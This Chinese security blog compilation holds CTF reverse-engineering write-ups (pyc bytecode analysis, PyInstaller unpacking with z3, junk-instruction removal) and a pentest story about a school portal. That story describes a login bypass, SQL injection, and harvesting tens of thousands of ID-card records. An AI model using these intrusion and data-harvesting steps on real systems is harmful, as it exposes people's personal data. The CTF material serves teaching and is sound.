这段代码的总体意思就是将输入的str字符串与key数组进行异或加密后存入st数组并于text数组进行对比我们可以从代码中得之text数组的元素值也可以知道str的前七位必为’DASCTF{’,最后一位必为’}’,而key数组只有8位,所以对str的加密是8位8位的进行的又因为异或具有自反性,所以可以据’DASCTF{‘字符串与text前7个元素做异或处理得出前7位,再将’}'与text最后一位进行异或 处理得出第8位,就可以得到key的整个数组
这段汇编最关键的部分如下
Disassembly of <code object keyinit at 0x0000028C1CC11D20, file "crackPYC.py", line 1>:
2 0 LOAD_CONST 1 (0)
2 STORE_FAST 1 (num)
3 4 SETUP_LOOP 42 (to 48)
6 LOAD_GLOBAL 0 (range)
8 LOAD_CONST 2 (8)
10 CALL_FUNCTION 1
12 GET_ITER
>> 14 FOR_ITER 30 (to 46)
16 STORE_FAST 2 (i) #相当于for i in range(0,8)
#从这里我们可以知道key的长度为8
4 18 LOAD_FAST 1 (num)
20 LOAD_CONST 3 (7508399208111569251)
22 BINARY_SUBTRACT
24 LOAD_CONST 4 (4294967295)
26 BINARY_MODULO
28 STORE_FAST 1 (num)
5 30 LOAD_FAST 0 (key)
32 LOAD_METHOD 1 (append)
34 LOAD_FAST 1 (num)
36 LOAD_CONST 5 (24)
38 BINARY_RSHIFT #不理解这一句的意思
40 CALL_METHOD 1 #但这一段代码就是给key赋值
42 POP_TOP
44 JUMP_ABSOLUTE 14
>> 46 POP_BLOCK
>> 48 LOAD_CONST 0 (None)
50 RETURN_VALUE
首先就是一个num的初始化 因为LOAD_CONST推送到堆栈
然后STORE_FAST将TOS(python的栈)存储到本地中
这两条结合起来 其实意思就是
num=0
接下来 SETUP_LOOP(delta)
将一个循环的块推送到块堆栈。该块跨越当前指令,大小为delta字节。
LOAD_GLOBAL 定义一个全局变量 range LOAD_CONST定义一个常量 8
配合着utools里面程序员手册里面的Python库硬看
for i in range(8):
然后关键的这一步
首先LOAD_FAST 将num压入栈堆,然后又把一个常量(7508399208111569251)推送到堆栈中
然后又执行BINARY_SUBTRACT 也就是减操作 即栈的后一位减去栈顶,对应到代码中也就是num减去这个常量
然后又推了个值4294967295 然后进行BINARY_MODULO操作 这是栈顶后一位取余栈顶的值
最后STORE_FAST 存储到num这个变量
所以这关键的一步python代码应该是
num=(num-7508399208111569251)%4294967295
后面干的操作大体就是 LOAD_FAST num 然后LOAD_CONST 24 然后BINARY_RSHIFT 主要是就是栈顶后一位右移栈顶数据的值 然后存储到key里面 大概就是这么个意思
print(num>>24)
结合起来就是这样的
num=0
for i in range(8):
num=(num-7508399208111569251)%4294967295
print(num>>24)
这样我们就得到这道题的密钥
40
80
121
161
202
242
27
67
然后采用每八个字节都去异或一下这个密钥,flag就出来了
s=[108,17,42,226,158,180,96,115,64,24,38,236,179,173,34,22,81,113,38,215,165,135,68,7,119,97,
45,254,250,172,43,62]
key=[]
flag=''
num=0
for i in range(8):
num=(num-7508399208111569251)%4294967295
key.append(num>>24)
for i in range(32):
flag += chr(key[i%len(key)] ^ s[i])
print(flag)
打包成exe的pyc文件
解法:
通过脚本变成结构体和一个文件
重点:再把时间属性和版本的魔术字放回去保存
uncompyle6即可
下载完题目发现这是个exe文件 但是图标又是很明显的pyc文件
所以这是个打包成exe的py文件
这里我们需要用到一个工具pyinstxtractor.py
把这个py文件复制到我们的题目文件夹里面
在搜索框中输入powershell 在打开的终端中输入
python .\pyinstxtractor.py .\attachment.exe
运行后生成attachment.exe_extracted文件夹,进入之后看到一些源文件,由于我电脑上的python是3.8版本,解包要3.6版本,所以生成了不正常的入口文件login而不是login.pyc,想要变成正常的可反编译的pyc文件就要对生成文件进行修改。(如果不嫌麻烦可以换一下python3.6的环境)
现在开始修改login入口文件,这里用的是winhex。
修改之前需要了解一点,在将python文件打包成exe文件的过程中,会抹去pyc文件前面的部分信息,所以在反编译之前需要检查并添加上这部分信息,这部分信息可以通过struct文件获取。
windex中打开struct文件后,把struct文件前几个字节插入login开头。(具体要插入几个字节还是要看解包后的文件,我的文件是E3字节码前面的丢失,那么就只需要看struct中E3之前的字节码有哪些,ctrl + c复制,然后在login开头ctrl + v 粘贴即可。)
修改后如下
保存后 将login后缀名修改为.pyc即可
将login.pyc复制粘贴到题目的文件夹后打开powershell终端
并且调用uncompyle6.exe
uncompyle6.exe .\login.pyc
就可以看到源码了
import sys
input1 = input('input something:')
if len(input1) != 14:
print('Wrong length!')
sys.exit()
else:
code = []
for i in range(13):
code.append(ord(input1[i]) ^ ord(input1[(i + 1)]))
code.append(ord(input1[13]))
a1 = code[2]
a2 = code[1]
a3 = code[0]
a4 = code[3]
a5 = code[4]
a6 = code[5]
a7 = code[6]
a8 = code[7]
a9 = code[9]
a10 = code[8]
a11 = code[10]
a12 = code[11]
a13 = code[12]
a14 = code[13]
if (a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5 + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36 + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60 + a14 * 29 == 22748) & (a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25 + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66 + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39 + a14 *
print('flag is GWHT{md5(your_input)}')
print('Congratulations and have fun!')
else:
print('Sorry,plz try again...')
看到一堆数字 就明白这是要解方程 用z3库来写方便点
from z3 import *
#初始化变量
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14 = Ints("a1 a2 a3 a4 a5 a6 a7 a8 a9 a10 a11 a12 a13 a14")
x = Solver()
#根据题目来添加限制
x.add(a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5 + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36 + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60 + a14 * 29 == 22748)
x.add(a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25 + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66 + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39 + a14 * 17 == 7258)
x.add(a1 * 28 + a2 * 35 + a3 * 16 - a4 * 65 + a5 * 53 + a6 * 39 + a7 * 27 + a8 * 15 - a9 * 33 + a10 * 13 + a11 * 101 + a12 * 90 - a13 * 34 + a14 * 23 == 26190)
x.add(a1 * 23 + a2 * 34 + a3 * 35 - a4 * 59 + a5 * 49 + a6 * 81 + a7 * 25 + a8 * 128 - a9 * 32 + a10 * 75 + a11 * 81 + a12 * 47 - a13 * 60 + a14 * 29 == 37136)
x.add(a1 * 38 + a2 * 97 + a3 * 35 - a4 * 52 + a5 * 42 + a6 * 79 + a7 * 90 + a8 * 23 - a9 * 36 + a10 * 57 + a11 * 81 + a12 * 42 - a13 * 62 - a14 * 11 == 27915)
x.add(a1 * 22 + a2 * 27 + a3 * 35 - a4 * 45 + a5 * 47 + a6 * 49 + a7 * 29 + a8 * 18 - a9 * 26 + a10 * 35 + a11 * 41 + a12 * 40 - a13 * 61 + a14 * 28 == 17298)
x.add(a1 * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42 + a6 * 86 + a7 * 23 + a8 * 85 - a9 * 47 + a10 * 34 + a11 * 76 + a12 * 43 - a13 * 44 + a14 * 65 == 19875)
x.add(a1 * 79 + a2 * 62 + a3 * 35 - a4 * 85 + a5 * 33 + a6 * 79 + a7 * 86 + a8 * 14 - a9 * 30 + a10 * 25 + a11 * 11 + a12 * 57 - a13 * 50 - a14 * 9 == 22784)
x.add(a1 * 8 + a2 * 6 + a3 * 64 - a4 * 85 + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23 - a9 * 36 + a10 * 5 + a11 * 2 + a12 * 47 - a13 * 64 + a14 * 27 == 9710)
x.add(a1 * 67 - a2 * 68 + a3 * 68 - a4 * 51 - a5 * 43 + a6 * 81 + a7 * 22 - a8 * 12 - a9 * 38 + a10 * 75 + a11 * 41 + a12 * 27 - a13 * 52 + a14 * 31 == 13376)
x.add(a1 * 85 + a2 * 63 + a3 * 5 - a4 * 51 + a5 * 44 + a6 * 36 + a7 * 28 + a8 * 15 - a9 * 6 + a10 * 45 + a11 * 31 + a12 * 7 - a13 * 67 + a14 * 78 == 24065)
x.add(a1 * 47 + a2 * 64 + a3 * 66 - a4 * 5 + a5 * 43 + a6 * 112 + a7 * 25 + a8 * 13 - a9 * 35 + a10 * 95 + a11 * 21 + a12 * 43 - a13 * 61 + a14 * 20 == 27687)
x.add(a1 * 89 + a2 * 67 + a3 * 85 - a4 * 25 + a5 * 49 + a6 * 89 + a7 * 23 + a8 * 56 - a9 * 92 + a10 * 14 + a11 * 89 + a12 * 47 - a13 * 61 - a14 * 29 == 29250)
x.add(a1 * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43 + a6 * 83 + a7 * 25 + a8 * 12 - a9 * 36 + a10 * 16 + a11 * 51 + a12 * 47 - a13 * 60 - a14 * 24 == 15317)
print(x.check())
print(x.model())
得到下面这些玩意
[a13 = 88,
a3 = 10,
a4 = 7,
a10 = 108,
a12 = 74,
a1 = 119,
a7 = 28,
a6 = 43,
a9 = 52,
a14 = 33,
a5 = 104,
a8 = 91,
a2 = 24,
a11 = 88]
也就是[119, 24, 10, 7, 104, 43, 28, 91, 52, 108, 88, 74, 88, 33]
按照ord(input1[i]) ^ ord(input1[i + 1])进行异或, 反推回input
然后反推一个异或:注意这里源代码中code和a不是一一对应的....就是源码中a1=code[2]这些的
aim = [119, 24, 10, 7, 104, 43, 28, 91, 52, 108, 88, 74, 88, 33] #a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14
aim = [10, 24, 119, 7, 104, 43, 28, 91, 108, 52, 88, 74, 88, 33] #code[0]=a3,code[1]=a2.....源码中的....
print(len(aim))
flag = [0 for i in range(14)]
flag[13] = aim[13]
for i in range(12, -1, -1):#从12开始 到-1终止,每一步是-1
flag[i] = aim[i] ^ flag[i+1]
print(flag)
[85, 95, 71, 48, 55, 95, 116, 104, 51, 95, 107, 51, 121, 33], 转换为字符串
c = [85, 95, 71, 48, 55, 95, 116, 104, 51, 95, 107, 51, 121, 33]
for i in c:
print(chr(i), end="")
print("\n")
最后得到U_G07_th3_k3y! 交上去是不对的,还需要将其转换为md5才可以
加花指令的pyc
解法:
根据uncompyle6和字节码判断花
读取co_code的长度
去掉花 并修改co_code长度
保存uncompyle6即可
不加花指令的代码
def check():
flag=5+5
if(flag==10):
return "right"
return "Wrong"
#input=raw_input("Input something")
print(check())
我们先分别运行一下加了花指令和没有加花指令的pyc文件,看看加了花指令的pyc文件是否能输出right
我们可以看到 加了花指令的pyc文件 即Pz_error.pyc也是可以输出right的
因为会把加了花指令的指令直接跳过去,就导致执行是没什么问题的
但是如果调用uncompyle6来反编译出源代码的话,加了花指令的pyc文件就会报错
最下面报错的信息给我们的是 tuple index out of range 数组下标越界
我们先来得到Pz_error.pyc的字节码,然后用code.marshal,loads(f[8:])读取魔术字8位后的东西,并将其反编译,看看花指令是加在哪条指令上了
我们可以看到 JUMP_ABSOLUTE将字节码计数器设置为目标 强制跳转到18
18也就是正常指令之后
LOAD_CONST 255 我们没有加花指令的py文件 就那么点代码 哪来的255,所以明显花指令就是在这里了。
所以我们现在定位到了花指令的地方,我们要做的就是把花指令去掉 并且修改co_code长度 也就是整个pyc文件的长度
那么我们来进行第二步 读取co_code的长度
len(code.co_code)
我们可以看到是27个字节
我们把Pz_error.pyc丢进Winhex里面 那么我们该怎么在Winhex里面定位到我们所要找的花指令呢?
我们要借助python2程序里面的opcode.h工具
已知花指令是JUMP_ABSOLUTE 在opcode.h里面搜索JUMP_ABSOLUTE
113转换为16进制就是71
在Winhex里面找的71那条 因为python2是3个字节码为1个指令
接下来 我们找LOAD_CONST这条指令在opcode.h对应的数字
100对应的16进制数字就是64 255对应的16进制数就是FF
所以基本可以确定 71 12 00 64 FF 00 这六个就是我们要找的花指令
然后delete键删掉
现在我们到了第三步 修改co_code的长度
我们刚读出来Pz_error.pyc字节码长度是27 27-6=21
27对应的16进制数是1B
21对应的16进制数是15
我们在winhex里面将找的1B修改为15,然后保存,这样我们的Pz_error.pyc就修好了
现在我们来试试看uncompyle6能否反编译出来
大功告成!
记一次奇妙的某个edu渗透测试
前话:
对登录方法的轻视造成一系列的漏洞出现,对接口确实鉴权造成大量的信息泄露。从小程序到web端网址的奇妙的测试就此开始。(文章厚码,请见谅)
1. 寻找到目标站点的小程序
进入登录发现只需要姓名加学工号就能成功登录,通过googlehack的语法成功找到学生姓名和学号,想直接找老师的工号发现无果,信息收集到此为止
2. 通过学生的信息成功登录进去,进入熟悉的测试环节,成功找到sql注入
使用sqlmap成功跑出
3. 本以为测试到此位置了,突然在某个功能点有了意外之喜,发现了老师的工号,果断深度利用一手
竟然找到了老师的工号和身份证
既然教师的接口泄露的老师的工号,那领导的接口不也会泄露,果断放弃老师的工号,前去寻找领导的工号,果不其然
肯定挑官大的搞,
4. 成功通过领导的工号登录
权限有点大,找找还有利用的地方吗
5. 敏感信息泄露
成功找到一处接口,存在信息泄露,通过遍历得到大量身份证
几万条信息泄露还是有的
6. 转战web端的学工系统,发现是扫码登录,结合上面的领导账号尝试登录
通过微信绑定的手机号获取验证码,尝试能否登录
成功登录
7. 目录遍历
通过对该站点的测试发现该站点还存在目录遍历
篇幅有限,点到为止
总结:
建议学校对用户登录时多做校验,防止任意用户登录,对接口增加鉴权,对特殊字符进行过滤,加强网址的安全防护。在任何情况下,未经授权的渗透测试行为都是违法的,可能导致严重的法律后果。因此,在进行任何安全测试之前,请务必与目标单位达成明确的协议和授权。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

